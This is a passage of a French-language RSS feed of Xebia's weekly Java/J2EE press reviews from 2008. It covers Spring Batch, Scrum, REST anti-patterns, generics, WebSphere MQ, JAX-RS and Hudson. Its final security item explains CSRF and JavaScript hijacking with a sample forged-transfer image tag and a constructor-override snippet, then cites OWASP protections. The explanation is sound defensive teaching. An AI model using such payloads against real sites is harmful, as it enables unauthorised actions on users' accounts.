href="http://www.springsource.com/files/IntroducingSpringBatch-1.0.1.pdf" title="le support de présentation" >le support de présentation</a>), il revient sur :</p><ul><li>les patterns de batch et leur utilisation</li><li>un survol des concepts de SpringBatch</li><li>une étude de cas</li><li>l&#8217;avenir de ce produit</li></ul><p>D&#8217;autre part, dans une autre <a
href="http://www.tv4it.net/permalink/6169/spring-batch-un-framework-java-open-source-pour-le-plus-vieux-sujet-de-linformatique.aspx" title="vidéo publiée sur  TV4it" >vidéo publiée sur  TV4it</a>, Olivier Rachon, Senior Manager chez Accenture, nous en dit plus quant à l&#8217;utilisation de ce <em>récent</em> framework : 5 projets en production, des 10aines en cours de développement.</p><p>Pour information, la version 1.1.2 est disponible et les premiers tests que nous avons effectués, dans le cadre d&#8217;un XKE, nous ont paru très convaincants. Nous devrions publier prochainement notre retour d&#8217;expérience sur ce framework.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/feed/</wfw:commentRss> <slash:comments>12</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2008/07/07/revue-de-presse-xebia-64/</link> <comments>http://blog.xebia.fr/2008/07/07/revue-de-presse-xebia-64/#comments</comments> <pubDate>Mon, 07 Jul 2008 16:17:48 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[BEA]]></category> <category><![CDATA[Flex]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[Oracle]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[RIA]]></category> <category><![CDATA[SCRUM]]></category> <category><![CDATA[SOA]]></category> <category><![CDATA[WebSphere MQ]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/2008/07/07/revue-de-presse-xebia-64/</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Fusion BEA / Oracle : présentation de la stratégie par Oracle Agilité Techniques d&#8217;estimation des user stories Les déboires de Google avec Scrum RIA Le contenu Flash / Flex indexable SOA REST anti patterns Le coin de la technique Bonne [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/07/07/revue-de-presse-xebia-64/#FusionBEAOracleprsentationdela">Fusion BEA / Oracle : présentation de la stratégie par Oracle</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/07/07/revue-de-presse-xebia-64/#Techniquesdestimationdesuserst">Techniques d&#8217;estimation des user stories</a></li><li><a
href="http://blog.xebia.fr/2008/07/07/revue-de-presse-xebia-64/#LesdboiresdeGoogleavecScrum">Les déboires de Google avec Scrum</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/07/07/revue-de-presse-xebia-64/#LecontenuFlashFlexindexable">Le contenu Flash / Flex indexable</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/07/07/revue-de-presse-xebia-64/#RESTantipatterns">REST anti patterns</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/07/07/revue-de-presse-xebia-64/#Bonneutilisationdesgenerics">Bonne utilisation des generics </a></li><li><a
href="http://blog.xebia.fr/2008/07/07/revue-de-presse-xebia-64/#WebsphereMQvunbouleversementdi">Websphere MQ v7 : un bouleversement discret appelé message properties</a></li></ul><h3>Actualité éditeurs / SSII</h3><h4><a
name="FusionBEAOracleprsentationdela"></a>Fusion BEA / Oracle : présentation de la stratégie par Oracle</h4><p>Le 1er juillet 2008 a été annoncée la stratégie d&#8217;intégration des offres BEA par Oracle. Thomas Kurian, patron du middleware chez Oracle, a notamment annoncé que les produits Weblogic et Tuxedo seront intégrés tel que à l&#8217;offre Oracle. Quant aux ESB et aux outils de développement d&#8217;Oracle et BEA, ils fusionnent.</p><p>Plus de détails sur la nouvelle offre Oracle :</p><ul><li><a
href="http://www.informationweek.com/news/software/integration/showArticle.jhtml?articleID=208802028" title="Détails de cette information par InformationWeek" >Détails de cette information par InformationWeek</a></li><li><a
href="http://www.infoq.com/news/2008/07/oracle_weblogic" title="Présentation de cette information par InfoQ" >Présentation de cette information par InfoQ</a></li></ul><h3>Agilité</h3><h4><a
name="Techniquesdestimationdesuserst"></a>Techniques d&#8217;estimation des user stories</h4><p>Jay Fields, consultant chez <a
href="http://www.thoughtworks.com/" title="ThoughtWorks" >ThoughtWorks</a>, présente différentes astuces pour <a
href="http://www.infoq.com/articles/agile-estimation-techniques" title="estimer les user stories" >estimer les user stories</a>. Nous retiendrons :</p><ul><li>Utilisez <strong>4 valeurs</strong>, des <strong>puissances de 2</strong> : 1, 2, 4, 8. De manière générale, un nombre de choix réduit simplifie le vote et les valeurs qui s&#8217;éloignent de plus en plus évitent une fausse précision. La <a
href="http://fr.wikipedia.org/wiki/Nombre_de_Fibonacci" title="suite de Fibonacci" >suite de Fibonacci</a> fonctionne très bien aussi.</li><li><strong>Votez indépendamment</strong> les uns des autres. Des techniques simples comme le jeu <a
href="http://kanemar.com/2006/01/28/story-points-as-spicy-ness-using-rsp-to-estimate-story-points/" title="pierre-feuille-ciseaux" >pierre-feuille-ciseaux</a> ou le <a
href="http://www.planningpoker.com/" title="planning poker" >planning poker</a> permettent de voter simultanément sans être influencé par les autres.</li><li>Les réunions d&#8217;estimation sont rarement un plaisir, motivez l&#8217;équipe avec des croissants par exemple !</li></ul><h4><a
name="LesdboiresdeGoogleavecScrum"></a>Les déboires de Google avec Scrum</h4><p><a
href="http://jeffsutherland.com/scrum/" title="Jeff Sutherland" >Jeff Sutherland</a> revient dans <a
href="http://www.infoq.com/presentations/Agile-Management-Google-Jeff-Sutherland" title="cette présentation" >cette présentation</a> sur la première implémentation de Scrum chez Google.<br
/> En 2001, Google avait de gros problèmes pour tenir ses deadlines. Ils ont commencé à introduire Scrum en utilisant les backlogs et les burndown charts, puis les daily scrums. Pourtant les livraisons continuaient de prendre du retard. Après investigations, ils se sont aperçus que beaucoup de tâches étaient &laquo;&nbsp;en cours&nbsp;&raquo; en même temps. La principale leçon à retenir est de <strong>ne pas se disperser sur trop de tâches</strong>, l&#8217;équipe doit se <strong>focaliser</strong> sur le minimum de tâches possible jusqu&#8217;à ce qu&#8217;elles soient complètement <strong>terminées</strong>.</p><h3>RIA</h3><h4><a
name="LecontenuFlashFlexindexable"></a>Le contenu Flash / Flex indexable</h4><p><a
href="http://www.infoq.com/news/2008/07/flash-content-searchable" title="InfoQ rapporte une avancée majeure pour Adobe" >InfoQ rapporte une avancée majeure pour Adobe</a> : le contenu des applications Flash (et donc Flex) est dorénavant indexable par les principaux moteurs de recherche que sont Google et Yahoo.<br
/> Avec un avantage non négligeable sur Ajax, à savoir que le contenu dynamique, récupéré du serveur est lui aussi indexé.<br
/> Le principe de fonctionnement est original : Adobe fournit à Yahoo et Google un lecteur Flash spécial, optimisé, qui parcourt tout le fichier SWF à la manière d&#8217;un utilisateur : instanciation des différents états de l&#8217;application, récupération des données dynamiques&#8230;<br
/> Aucune intervention des développeurs n&#8217;est nécessaire, aussi bien sur les nouvelles applications que sur les anciennes.<br
/> Certaines fonctionnalités de Flex 3, comme le &laquo;&nbsp;deep linking&nbsp;&raquo; (historique au sein du fichier SWF, bookmark intra-Flash) ne sont pas encore implémentées.</p><p>Un frein (le principal ?) au développement des RIA Flash vient d&#8217;être levé.</p><h3>SOA</h3><h4><a
name="RESTantipatterns"></a>REST anti patterns</h4><p>Stefan Tilkov, éditeur de la communauté InfoQ SOA, présente ses <a
href="http://www.infoq.com/articles/rest-anti-patterns" title="REST Anti Patterns" >REST Anti Patterns</a> :</p><ul><li><strong>Utiliser uniquement des requêtes GET ou uniquement des requêtes POST</strong> : REST utilise la sémantique HTTP avec GET pour les lectures, PUT &#038; DELETE pour les écritures <a
href="http://fr.wikipedia.org/wiki/Idempotence" title="indempotente" >indempotente</a> avec ID et enfin POST pour le reste mais qui est à éviter.</li><li><strong>Ignorer les mécanismes de cache</strong> : le code retour HTTP <code>304 Not Modified</code> et ses headers associés <code>ETag</code>, <code>Expires</code> permettent une grande souplesse de mise en cache par les clients et les proxies pour offrir une très grande tenue à la charge.</li><li><strong>Ignorer les codes retour HTTP</strong> : les codes retour HTTP sont très expressifs (<code>201 Created</code>, <code>406 Not Acceptable</code>, <code>412 Precondition Failed</code>, etc) ; se limiter aux inexpressifs <code>200 OK</code> et <code>500 Internal Server Error</code> nuit à l&#8217;auto-documentation.</li><li><strong>Mal utiliser les cookies</strong> : REST est par essence sans état ; si les cookies peuvent maintenir des informations <em>stateless</em> comme l&#8217;authentification, ils ne doivent en revanche pas porter d&#8217;information <em>stateful</em> ou métier (id, etc).</li><li><strong>Oublier l&#8217;hypermedia</strong> : les hyperliens sont à REST ce que sont les clefs étrangères aux base de données relationnelles. On notera toutefois que l&#8217;utilisation d&#8217;hyperliens est aujourd&#8217;hui très délicate ; <a
href="http://www.w3.org/TR/xlink/" title="xlink" >xlink</a> reste confidentiel pour XML et les équivalents en JSON ou YAML restent à trouver.</li><li><strong>Ignorer les types MIME</strong> : chaque utilisateur a son format de prédilection et se limiter à un seul format limiterait les opportunités de ré-utilisation. On retiendra XML pour java / .Net, <a
href="http://en.wikipedia.org/wiki/JSON" title="JSON" >JSON</a> pour javascript, <a
href="http://en.wikipedia.org/wiki/YAML" title="YAML" >YAML</a> pour Ruby et HTML pour les humains.</li><li><strong>Casser l&#8217;auto-description</strong> : idéalement, tout message devrait contenir suffisamment d&#8217;information (headers, format, etc) pour qu&#8217;un client générique puisse le traiter. Toute invention de header, protocole ou format nuit très fortement à l&#8217;utilisabilité de la ressource.</li></ul><h3>Le coin de la technique</h3><h4><a
name="Bonneutilisationdesgenerics"></a>Bonne utilisation des generics</h4><p>Introduits lors du jdk 5, les génériques sont maintenant utilisés dans la plupart des applications Java. Les développeurs, aussi bien débutants qu&#8217;expérimentés, ont dans l&#8217;ensemble bien compris leurs avantages. Ces &#8216;marqueurs&#8217; permettant de détecter les problèmes de cast dès la compilation ce qui facilitent indéniablement la lecture et l&#8217;auto-documentation du code.</p><p>Si l&#8217;utilisation des génériques est relativement simple à comprendre, cela se complique lorsque vous vous essayez à créer votre propre API. En particulier, l&#8217;utilisation des wildcard n&#8217;est pas triviale. Qui ne s&#8217;est jamais tiré les cheveux pour se demander quand mettre un wildcard. 3 ans après la sortie du jdk 5, êtes-vous familiers avec les formes suivantes ? <code>MyBox&lt;?&gt;</code>, <code>MyBox&lt;? extends T&gt;</code>, <code>MyBox&lt;? super T&gt;</code></p><p>Brian Goetz, l&#8217;auteur du bien connu <a
href=" http://www.javaconcurrencyinpractice.com/" title="Java Concurrency In Practice" >Java Concurrency In Practice</a> revient sur ces notions peu évidentes (cf. le lien en fin d&#8217;article). Pour illustrer cette difficulté, il prend l&#8217;exemple de la classe <code>AbstractExecutorService</code> introduite lors du jdk 5 dont la signature a été modifiée au jdk 6 : personne n&#8217;est à l&#8217;abri d&#8217;une erreur.</p><p><strong>Bonnes pratiques à respecter pour <strong>l&#8217;utilisation</strong> d&#8217;une API utilisant les génériques</strong></p><ul><li>Préférez l&#8217;utilisation des génériques (<code>List&lt;String&gt;</code>) aux types raw traditionnels (<code>List</code>)</li><li>Proscrire les types raw dans du nouveau code</li><li>Eliminez et documentez les warnings &#8216;unchecked&#8217; en utilisant l&#8217;annotation suivante <code>@SuppressWarnings("unchecked")</code> en essayant de minimiser sa portée.</li><li>Privilégiez l&#8217;utilisation des listes (<code>List&lt;String&gt;</code>) aux tableaux (<code>String[]</code>), lorsque le contexte le permet. En effet, les tableaux sont covariants : contrairement aux génériques. (Si une classe A étend B, B[] peut être casté en A[], alors que List&lt;B&gt; ne peut pas être casté en List&lt;A&gt;).</li></ul><p>L&#8217;exemple ci-dessous, tiré du livre <a
href=" http://java.sun.com/docs/books/effective/" title="Effective Java" >Effective Java</a>, montre en quoi la covariance peut-être dangereuse.</p><pre class="brush: java; title: ; notranslate">
// Lance ArrayStoreException au runtime
Object[] testArray = new Long[1] ;
testArray[0] = &quot;Incompatible value&quot;;
// Ne compile pas
List&lt;Object&gt; testList = new ArrayList&lt;Long&gt;();
testList.add(&quot;Incompatible value &quot;);
</pre><p><strong>Bonnes pratiques à respecter pour <strong>la création</strong> d&#8217;une API utilisant les génériques</strong></p><ul><li>Utilisez les types paramétrés simples <code>T</code> lorsque c&#8217;est possible</li><li>Utilisez les wildcards pour rendre vos API plus flexibles</li><li>Utilisez les wildcards lorsque que vous désirez passer un type paramétré en entrée d&#8217;une méthode (remplacer <code>MyBox&lt;T&gt;</code> par <code>MyBox&lt; ? extends T&gt;</code> ou par <code>MyBox&lt;? super T&gt;</code>)</li><li>N&#8217;utilisez pas de wildcard dans les types de retours</li></ul><p>Comment choisir le bon wildcard ? Le get-put principe.</p><ul><li>Méthodes de type GET : utilisez le &#8216;upper bounded wildcard&#8217; (<code>MyBox&lt; ? extends T&gt;</code>) sur les méthodes qui permettent de sortir des données de la structure courante.</li><li>Méthodes de type PUT : utilisez le &#8216;lower bounded wildcard&#8217; (<code>MyBox&lt; ? super T&gt;</code>) sur les méthodes qui font rentrer des données de la structure courante.</li></ul><p>D&#8217;une manière générale, si l&#8217;utilisateur d&#8217;une API se pose la question d&#8217;utiliser un wildcard, c&#8217;est probablement que l&#8217;API a été mal pensée.<br
/> Au final, notons que si l&#8217;utilisation du wildcard <code>extends</code> est relativement répandu, force est de constater que le wildcard <code>super</code> ne se déniche pas encore à tous les coins de rue.</p><p><strong>Consultez l&#8217;article de Brian Goetz :</strong> <a
href="http://www.ibm.com/developerworks/java/library/j-jtp07018.html" title="<strong>Going wild with generics</strong>&nbsp;&raquo; >Going wild with generics</a></p><h4><a
name="WebsphereMQvunbouleversementdi"></a>Websphere MQ v7 : un bouleversement discret appelé message properties</h4><p>Nous avions déjà <a
href="http://blog.xebia.fr/2008/04/07/revue-de-presse-xebia-51/#WebsphereMQV7" title="évoqué les nouveautés de Websphere MQ V7" >évoqué les nouveautés de Websphere MQ V7</a> lors du lancement du programme de beta testing.<br
/> Notre attention s&#8217;était portée sur l&#8217;intégration du moteur de publish/subscribe et l&#8217;amélioration des performances et nous n&#8217;avions pas vu passer une évolution sur la structure même des messages. MQ v7 intègre le principe JMS de propriétés de message sous une forme beaucoup plus simple à utiliser que les anciens &laquo;&nbsp;RFH2 Folders&nbsp;&raquo; qui rebutaient certaines équipes non Java lorsqu&#8217;on leur proposait d&#8217;abandonner le format MQSTR pour bénéficier des propriétés JMS.<br
/> Ces nouveaux Message Properties, toujours transparents pour les développeurs JMS, se manipulent facilement pour les développeurs MQI grâce à l&#8217;introduction des verbes <code>MQSETMP</code> et <code>MQINQMP</code>. Un mode de compatibilité ascendante transforme ces nouveaux Message Properties en header MQRFH2 lorsqu&#8217;ils sont envoyés à d&#8217;anciens Queue Managers.<br
/> On notera par ailleurs que l&#8217;intégration native du mode publish/suscribe dans MQ simplifie l&#8217;utilisation de ce mode pour les développeurs MQI avec la création de nouveaux verbes (<code>MQSUB</code>, &#8230;) qui remplacent les fastidieux headers RFH2.<br
/> Avec ces deux simplifications majeures, l&#8217;utilisation de la richesse de JMS ne devrait plus susciter de réticences dans les équipes MQI.</p><p>Tous les détails dans <a
href="http://www-1.ibm.com/support/docview.wss?uid=swg27012921" title="Websphere Technical Exchange : What is new in WebSphere MQ Version 7" >Websphere Technical Exchange : What is new in WebSphere MQ Version 7</a> et <a
href="ftp://ftp.software.ibm.com/software/websphere/pdf/DRAFT_WebSphere_MQ_V7_Redbook.pdf" title="Redbook (Draft) : WebSphere MQ V7.0 Features and Enhancements" >Redbook (Draft) : WebSphere MQ V7.0 Features and Enhancements</a></p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2008/07/07/revue-de-presse-xebia-64/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2008/06/23/revue-de-presse-xebia-62/</link> <comments>http://blog.xebia.fr/2008/06/23/revue-de-presse-xebia-62/#comments</comments> <pubDate>Mon, 23 Jun 2008 16:05:14 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Hudson]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JAX-RS]]></category> <category><![CDATA[Portlet]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[Sécurité]]></category> <category><![CDATA[Spring]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/2008/06/23/revue-de-presse-xebia-62/</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Eclipse Ganymède Le coin de la technique JAX-RS : Java standardise son API REST Sortie de la JSR286 &#8211; Version 2 de l&#8217;API Portlet Java Le top 10 des fonctionnalités de Hudson Dave Syer revient sur SpringBatch pour InfoQ Sécurité [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/06/23/revue-de-presse-xebia-62/#EclipseGanymde">Eclipse Ganymède</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/06/23/revue-de-presse-xebia-62/#JAXRSJavastandardisesonAPIREST">JAX-RS : Java standardise son API REST</a></li><li><a
href="http://blog.xebia.fr/2008/06/23/revue-de-presse-xebia-62/#SortiedelaJSRVersiondelAPIPort">Sortie de la JSR286 &#8211; Version 2 de l&#8217;API Portlet Java</a></li><li><a
href="http://blog.xebia.fr/2008/06/23/revue-de-presse-xebia-62/#LetopdesfonctionnalitsdeHudson">Le top 10 des fonctionnalités de Hudson</a></li><li><a
href="http://blog.xebia.fr/2008/06/23/revue-de-presse-xebia-62/#DaveSyerrevientsurSpringBatchp">Dave Syer revient sur SpringBatch pour InfoQ</a></li><li><a
href="http://blog.xebia.fr/2008/06/23/revue-de-presse-xebia-62/#Scuritdesapplicationswebleslig">Sécurité des applications web : les lignes de front bougent</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="EclipseGanymde"></a>Eclipse Ganymède</h4><p>La nouvelle livraison de la fondation Eclipse sera disponible le 25 juin. Cet article d&#8217; <a
href="http://www.ibm.com/developerworks/opensource/library/os-eclipse-ganymede/" title="IBM DeveloperWorks" >IBM DeveloperWorks</a> passe en revue l&#8217;ensemble des sous projets qui constitue cette nouvelle mouture.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="JAXRSJavastandardisesonAPIREST"></a>JAX-RS : Java standardise son API REST</h4><p>Marc Hadley et Paul Sandoz, les specs leaders de <a
href="http://jcp.org/en/jsr/detail?id=311" title="JAX-RS" >JAX-RS</a>, ont présenté à JavaOne 2008 dans <a
href="http://developers.sun.com/learning/javaoneonline/j1sessn.jsp?sessn=TS-5425&#038;yr=2008&#038;track=nextweb" title="JAX-RS: The Java API for RESTful Web Services" >JAX-RS: The Java API for RESTful Web Services</a> les enjeux de l&#8217;API <a
href="http://en.wikipedia.org/wiki/Representational_State_Transfer" title="REST" >REST</a> en Java dont la version 1.0 est prévue pour Septembre 2008.</p><p>Nous retiendrons:</p><p><strong>REST en cinq étapes :</strong></p><ol><li>Donner un ID sous forme d&#8217;URL à chaque donnée (ex. : <code>&lt;client id="http://example.com/client/my-company"&gt;&lt;name&gt;my company&lt;/name&gt;...&lt;/client&gt;</code>).</li><li>Lier les données ensembles (ex. : <code>&lt;product-order&gt;&lt;client ref="http://example.com/client/my-company"/&gt;...&lt;/product-order&gt;</code>).</li><li>Utiliser les méthodes HTTP standard (<code>GET</code> pour la lecture, <code>PUT</code> pour l&#8217;écriture avec <code>ID</code>, <code>POST</code> pour l&#8217;écriture sans <code>ID</code>, <code>DELETE</code>).</li><li>Représenter les données sous plusieurs formats (XML, JSON, HTML souvent déterminé selon le champ <code>Accept</code> de la requête HTTP).</li><li>Communications &#8216;stateless&#8217;</li></ol><p><strong>Example de code JAX-RS :</strong></p><pre class="brush: java; title: ; notranslate">
@Path(&quot;orders/{order_id}&quot;)
public class OrderResource {
   @GET
   @ProduceMime({&quot;application/xml&quot;,&quot;application/json&quot;})
   Order getOrder(@PathParam(&quot;order_id&quot;) String id) {
   ...
   }
}
</pre><p><strong>Les principales implémentations JAX-RS :</strong><br
/> <a
href="http://www.restlet.org/" title="Restlet" >Restlet</a>, <a
href="http://wiki.jboss.org/wiki/RESTeasyJAXRS" title="JBoss RESTEasy" >JBoss RESTEasy</a>, <a
href="http://cwiki.apache.org/CXF20DOC/jax-rs-jsr-311.html" title="Apache CXF" >Apache CXF</a>, <a
href="https://jersey.dev.java.net/" title="Glassfish Jersey" >Glassfish Jersey</a>.</p><h4><a
name="SortiedelaJSRVersiondelAPIPort"></a>Sortie de la JSR286 &#8211; Version 2 de l&#8217;API Portlet Java</h4><p>Cette nouvelle version apporte le support des événements <em>(une portlet peut envoyer ou recevoir des évènements)</em>, une gestion des paramètres publics pouvant être partagée entre différentes portlets <em>(Public parameter renderer)</em>, le &laquo;&nbsp;resource serving&nbsp;&raquo; pour qu&#8217;une portlet puisse donner accès à une ressource, et pour finir le &laquo;&nbsp;portlet filter&nbsp;&raquo; qui permettra de faire des transformations en entrée ou sortie de la portlet.<br
/> <a
href="http://jcp.org/aboutJava/communityprocess/pfd/jsr286/index.html" title="JSR-000286 Portlet Specification 2.0" >JSR-000286 Portlet Specification 2.0</a></p><h4><a
name="LetopdesfonctionnalitsdeHudson"></a>Le top 10 des fonctionnalités de Hudson</h4><p>On a déjà parlé de Hudson a plusieurs reprises, toujours en bien, et on en rajoute une couche, avec ce post d&#8217;Arun Gupta (Technology Evangelist chez Sun), qui nous donne son top 10 des meilleures fonctionnalités de Hudson:</p><ol><li><strong>Facilité d&#8217;installation et d&#8217;utilisation</strong> &#8211; Hudson est un simple WAR à déployer</li><li><strong>Vaste écosystème de plugins</strong> &#8211; <a
href="http://weblogs.java.net/blog/kohsuke/archive/2008/06/plugin_download.html" title="voir la liste des plugins les plus téléchargés" >voir la liste des plugins les plus téléchargés</a> depuis la mise en place du centre de téléchargements de plugins dans Hudson 1.222</li><li><strong>Support du build distribué</strong> &#8211; la mise en place d&#8217;un build distribué est simple, un serveur maître gère les esclaves, et leur distribue les builds automatiquement. On se connecte à l&#8217;interface du maître et le mode distribué est transparent, l&#8217;interface est la même que si les builds sont effectués sur le serveur maître</li><li><strong>Support du build inter-équipes</strong> &#8211; les dépendances entre projets compilés par Hudson sont correctement gérées, avec un système de &laquo;&nbsp;chaînage&nbsp;&raquo; des builds. On peut également aisément garder la trace des versions utilisées grâce au <a
href="http://hudson.gotdns.com/wiki/display/HUDSON/Fingerprint" title="Finger printing" >Finger printing</a></li><li><strong>Open Source</strong> &#8211; Hudson est entièrement Open Source, sous <a
href="http://www.opensource.org/licenses/mit-license.php" title="licence MIT" >licence MIT</a></li><li><strong>Maturité</strong> &#8211; au 23 Juin 2008, Hudson en est à la <a
href="https://hudson.dev.java.net/changelog.html" title="227ème release" >227ème release</a></li><li><strong>Existence de nombreux outils pour Hudson en dehors de Hudson</strong> &#8211; l&#8217;API de contrôle d&#8217;Hudson a permis l&#8217;apparition d&#8217;outils tiers, comme par exemple un <a
href="http://hudson.gotdns.com/wiki/display/HUDSON/Firefox+Add-on+Build+Monitor" title="plugin pour Firefox" >plugin pour Firefox</a> ou une <a
href="http://hudson.gotdns.com/wiki/display/HUDSON/hudsonTracker" title="icône de notification" >icône de notification</a> dans la barre des tâches sous Windows ou MacOS.</li><li><strong>Support des liens permalink</strong> &#8211; Hudson expose des URLs simples pour certaines pages, comme les pages &laquo;&nbsp;dernier build réussi&nbsp;&raquo; ou &laquo;&nbsp;historique des temps de build&nbsp;&raquo;</li><li><strong>Internationalisation</strong> &#8211; Hudson est disponible en Anglais, Japonais, Allemand, Français (grâce au travail d&#8217;<a
href="http://ericlefevre.net/wordpress/2008/06/17/contribute-to-hudson/" title="Eric Lefevre" >Eric Lefevre</a>, Turque, Brésilien, Portugais et Russe. Un <a
href="http://hudson.gotdns.com/wiki/display/HUDSON/Internationalization" title="guide d'internationalisation est disponible" >guide d&#8217;internationalisation est disponible</a>.</li><li><strong>API d&#8217;utilitaires développés pour Hudson</strong> &#8211; peuvent être utilisés sur d&#8217;autres projets</li></ol><p>Nous utilisons Hudson chez nos clients sur de nombreux projets, l&#8217;outil est tellement simple et efficace qu&#8217;il nous est maintenant difficile de nous en passer!</p><h4><a
name="DaveSyerrevientsurSpringBatchp"></a>Dave Syer revient sur SpringBatch pour InfoQ</h4><p>Le leader du projet <a
href=" http://static.springframework.org/spring-batch/" title="SpringBatch " >SpringBatch </a>, <a
href=" http://blog.springsource.com/main/author/dsyer/" title="David Syer " >David Syer </a>, expose sur InfoQ les principales fonctionnalités offertes par le framework. Comme pour l&#8217;ensemble du projet Spring, le but avoué est d&#8217;aider le développeur à se consacrer à la logique métier de son application, en délégant au maximum les taches sans valeurs ajoutées au framework.<br
/> Les principaux cas d&#8217;utilisation de SpringBatch sont les suivants :</p><ul><li>Traitements business : reporting, traitement de commandes, réconciliation de comptes&#8230;</li><li>Gestion d&#8217;import /export : traitement de formulaires, rapports d&#8217;inventaire&#8230;</li><li>Emissions à grande échelle : campagne d&#8217;emailing, états financier&#8230;</li></ul><p>Les principales fonctionnalités de SpringBatch</p><ul><li>Une infrastructure de bas niveau, réutilisable, offrant la gestion des répétitions et des &#8216;retry&#8217;, la synchronisation des transactions, la lecture / écriture en fichiers plats, en  XML ou en base de données.</li><li>Un noyau (Core) sous forme d&#8217;API légère qui permet le lancement et la gestion des batchs, et fourni tous les outils pour la gestion opérationnelle de ceux ci.</li><li>Un environnement d&#8217;exécution (implémentation de l&#8217;API Core)</li><li>Un ensemble d&#8217;applications d&#8217;exemple déclinant toutes les fonctionnalités offertes par SpringBatch</li></ul><div
align="center"> <img
src='http://blog.xebia.fr/wp-content/uploads/2008/06/runtimedependencies.png' alt='runtimedependencies.png' /></div><p>David Syer revient également sur la collaboration fructueuse entre la fondation Spring et Accenture sur ce projet, qui a permis d&#8217;augmenter la quantité et la qualité des contributions sur le code source.</p><p>A noter que David Syers donnera une <a
href=" http://www.springsource.com/webinars" title="télé-conférence sur l'utilisation de SpringBatch le 9 juillet " >télé-conférence sur l&#8217;utilisation de SpringBatch le 9 juillet </a>.</p><p><a
href=" http://www.infoq.com/news/2008/06/spring-batch" title="L'intégralité de l'article sur InfoQ " >L&#8217;intégralité de l&#8217;article sur InfoQ </a>.</p><h4><a
name="Scuritdesapplicationswebleslig"></a>Sécurité des applications web : les lignes de front bougent</h4><p>Jeremiah Grossman, <a
href="http://www.whitehatsec.com/home/index.html" title="Whitehat" >Whitehat</a>, et Joe Walker, <a
href="http://sitepen.com/" title="Sitepen" >Sitepen</a> ont présenté à JavaOne 2008 dans <a
href="http://developers.sun.com/learning/javaoneonline/j1sessn.jsp?sessn=TS-5302&#038;yr=2008&#038;track=nextweb" title="Advanced Web Application Security" >Advanced Web Application Security</a> les évolutions des menaces qui pèsent sur les applications web avec l&#8217;émergence des <a
href="http://en.wikipedia.org/wiki/Cross-site_request_forgery" title="Cross Site Request Forgery*" >Cross Site Request Forgery*</a> (CSRF) et JavaScript Hijacking qui s&#8217;ajoutent au bien connu <a
href="http://en.wikipedia.org/wiki/Cross-site_scripting" title="Cross Site Scripting" >Cross Site Scripting</a> (XSS).</p><p><strong>Cross Site Request Forgery (CSRF)</strong></p><ul><li>Description : un attaquant insère dans une page web une URL (<code>&lt;img /&gt;</code>, <code>&lt;iframe /&gt;</code>, etc) vers un site applicatif auquel l&#8217;internaute a l&#8217;habitude de se connecter. Il n&#8217;est même pas nécessaire d&#8217;injecter ce code malicieux sur le site agressé ; il suffit que la page web &#8216;crackée&#8217; soit affichée dans le browser.</li><li>Exemple : insertion d&#8217;un tag image <code>&lt;img src="https://ma-banque.com/virement?montant=666&#038;beneficiaire=un-mechant-attaquant" /&gt;</code></li><li>Protection : <a
href="http://www.owasp.org/index.php/CSRF_Guard" title="OWASP CSRF Guard" >OWASP CSRF Guard</a></li></ul><p><strong>JavaScript Hijacking</strong></p><ul><li>Description : le langage JavaScript permet de redéfinir la plupart des comportements, notamment les constructeurs, les getters et les setters. Il suffit de redéfinir le comportement d&#8217;un accès Ajax pour intercepter et modifier les contenus entrants et sortants.</li><li>Exemple : redéfinition du constructeur et d&#8217;un setter</li></ul><pre class="brush: java; title: ; notranslate">
function Object() {
  alert(&quot;Hello, World&quot;);
  this.__defineSetter__('foo', function(x) {  alert(x); } );
}
</pre><ul><li>Protections : utiliser un framework Ajax qui prévient cette faille (DWR 2.2 le fait déjà, les autres y travaillent), lire des documents de référence tels que <a
